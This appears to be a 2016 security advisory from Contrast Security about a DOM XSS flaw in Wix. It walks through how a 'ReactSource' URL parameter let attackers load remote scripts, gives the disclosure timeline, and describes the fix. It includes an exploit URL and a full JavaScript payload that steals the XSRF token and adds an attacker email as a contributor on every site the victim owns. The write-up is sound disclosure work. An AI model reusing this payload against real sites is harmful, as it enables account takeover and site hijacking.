Wix.com, a hosting provider which claims to host millions of websites, contains an XSS that leads to administrator account takeover and could be used to create a Wix website worm. Learn more about this vulnerability below.
From the company’s literature:
“Wix.com is a leading cloud-based development platform with millions of users worldwide. We make it easy for everyone to create a beautiful, professional web presence.”
It appears to be a modern-day GeoCities. It claims 87 million registered users and over 2 million subscriptions, which would make it one of the top providers in the world.
Wix.com has a severe DOM XSS vulnerability that allows an attacker complete control over any website hosted at Wix. Simply by adding a single parameter to any site created on Wix, the attacker can cause their JavaScript to be loaded and run as part of the target website.
TL;DR:
Here’s an example exploit occurring, causing a reflected payload to occur:
These two examples are live as of writing (November 2, 2016):
All Wix websites use a wixsite.com subdomain or a custom domain. An XSS against either of these will not allow access to the main wix.com domain and its cookies. To gain access to administrator session cookies or otherwise get access to administrator resources, an attacker needs to steal session cookies they’ll need a separate vulnerability.
To work around this, the attacker can use the template demos, which are hosted on wix.com and contain the vulnerability. In this example, the Wix blank template is triggered on the main wix.com domain: http://www.wix.com/demone2/-start-from-scratch?ReactSource=http://maustin.net
With the XSS on wix.com the attacker can do anything as the current user. This includes turning the attack into a worm, using the following steps:
Administrator control of a wix.com site could be used to widely distribute malware, create a dynamic, dsitributed, browser-based botnet, mine cryptocurrency, and otherwise generally control the content of the site as well as the users who use it.
Some specific examples of that might include:
Discovered by Matt Austin, Contrast Security
< https://maustin.net/>
Oct 10: Creates Support ticket requesting security contact
Oct 11: Reach out to @wix on twitter to find a security contact. Replied to use standard support. Gave details in created ticket. Ticket page no longer works. https://www.wix.com/support/html5/contact.
Oct 14: Received standard “We are investigating the matter and will follow up as soon as possible” reply from Wix.
Oct 20: Reply to ticket requesting an update. (no response)
Oct 27: Second request for an update. (no response)
Oct 28: New direct e-mail to support@wix.com and security@wix.com with details. Here’s the response from security.
Hello xxxxxxxxxx,
We're writing to let you know that the group you tried to contact (security) may not exist, or you may not have permission to post messages to the group. A few more details on why you weren't able to post:
* You might have spelled or formatted the group name incorrectly.
* The owner of the group may have removed this group.
* You may need to join the group before receiving permission to post.
* This group may not be open to posting.
If you have questions related to this or any other Google Group, visit the Help Center at https://support.google.com/a/wix.com/bin/topic.py?topic=25838.
Thanks,
wix.com admins
This is the first piece of vulnerable code flow. It creates a function for getting a URL parameter.
var queryUtil = (function () {
...
function getParameterFromQuery(query, name) {
name = name.replace(/[\[]/, '\\[').replace(/[\]]/, '\\]');
var regex = new RegExp('[\\?&]' + name + '=([^&#]*)');
var results = regex.exec(query);
return results && results[1] ? decodeURIComponent(results[1]).replace(/\+/g, ' ') : '';
}
...
return {
getParameterByName: getParameterFromQuery.bind(null, window.location.search)
...
};
}());
Here, the untrusted URL parameter is stored in a configuration object.
var config = getFullRjsConfig(getViewerRjsConfig, packagesUtil, {
baseVersionOverride: queryUtil.getParameterByName('ReactSource'),
artifactName: 'santa'
},serviceTopology);
...
requirejs.config(config);
The app then detects that the user provided a new ReactSource to override the default location.
function getFullRjsConfig(rjsConfigFunc, packagesUtil, artifactData, serviceTopology) {
//Call with serviceTopology and all arguments after
var config = rjsConfigFunc.apply(null, Array.prototype.slice.call(arguments, 3));
config = packagesUtil.buildConfig(config);
...
var isAddress = RegExp.prototype.test.bind(/^https?:\/\//);
config.baseUrl = isAddress(artifactData.baseVersionOverride) ?
artifactData.baseVersionOverride :
joinURL(artifactPath, artifactData.baseVersionOverride);
...
The RequireJS library is called with the tainted configuration. RequireJS is a JavaScript file and module loader.
var config = getFullRjsConfig(getViewerRjsConfig, packagesUtil, {
baseVersionOverride: queryUtil.getParameterByName('ReactSource'),
artifactName: 'santa'
},serviceTopology);
...
requirejs.config(config);
RequireJS loops through each of the resources it needs and calls something like:
url = config.baseUrl + url;
…
var node = document.createElement('script');
…
node.src = url;
…
head.appendChild(node);
Put a payload into the file /packages-bin/wixCodeInit/wixCodeInit.min.js off of your evil domain.
The following example payload adds the attacker as an administrator to all the users’ sites for the given domain:
xsrf = document.cookie.match(/XSRF-TOKEN=(.*?);/)[1]; // get the csrf token
$.getJSON('/_api/wix-dashboard-ng-webapp/metaSite', function(data){ // get all the current users sites
data.payload.map(function(site){
$.ajax({
type: 'POST',
url: '/_api/wix-dashboard-ng-webapp/authorization/site/'+site.metaSiteId+'/invite',
data: JSON.stringify({email: "hacker@l33t.com", role: "contributor"}),
headers: { "x-xsrf-token": xsrf},
contentType: "application/json;charset=UTF-8",
success: function(data){
console.log(data)
}
});
});
})
GOOD NEWS - Sometime between Noon and 3:00 PM PST that same day, Wix appears to have resolved the problem!
MORE GOOD NEWS - Wix now has a bug bounty program in place to help avoid issues like this in the future. Ya!
Prior to November 2nd, Wix did not have a public record of a bug bounty program in existence. As shown by the timeline (recorded in our blog post here), our researchers searched and reached out to Wix using multiple channels over the course of three weeks with no acknowledgement or response. While they appear to have fixed the problem, they have still not contacted our researchers.
https://gist.github.com/matt-/fee2baf1811e8e4355be8b53ee48af81/revisions?diff=split
https://static.parastorage.com/services/santa/1.1800.21/app/main-r.min.js
vs
https://static.parastorage.com/services/santa/1.1800.22/app/main-r.min.js
WIX replaced all instances of:
queryUtil.getParameterByName('ReactSource')
with:
window.santaBase
This means that the base script URLs can no longer be set by the 'ReactSource' param.
A video with a simple alert box showing that the DOM XSS vulnerability enabled access: https://www.youtube.com/watch?v=mACH0o2d8J4&feature=youtu.be
Get the latest content from Contrast directly to your mailbox. By subscribing, you will stay up to date with all the latest and greatest from Contrast.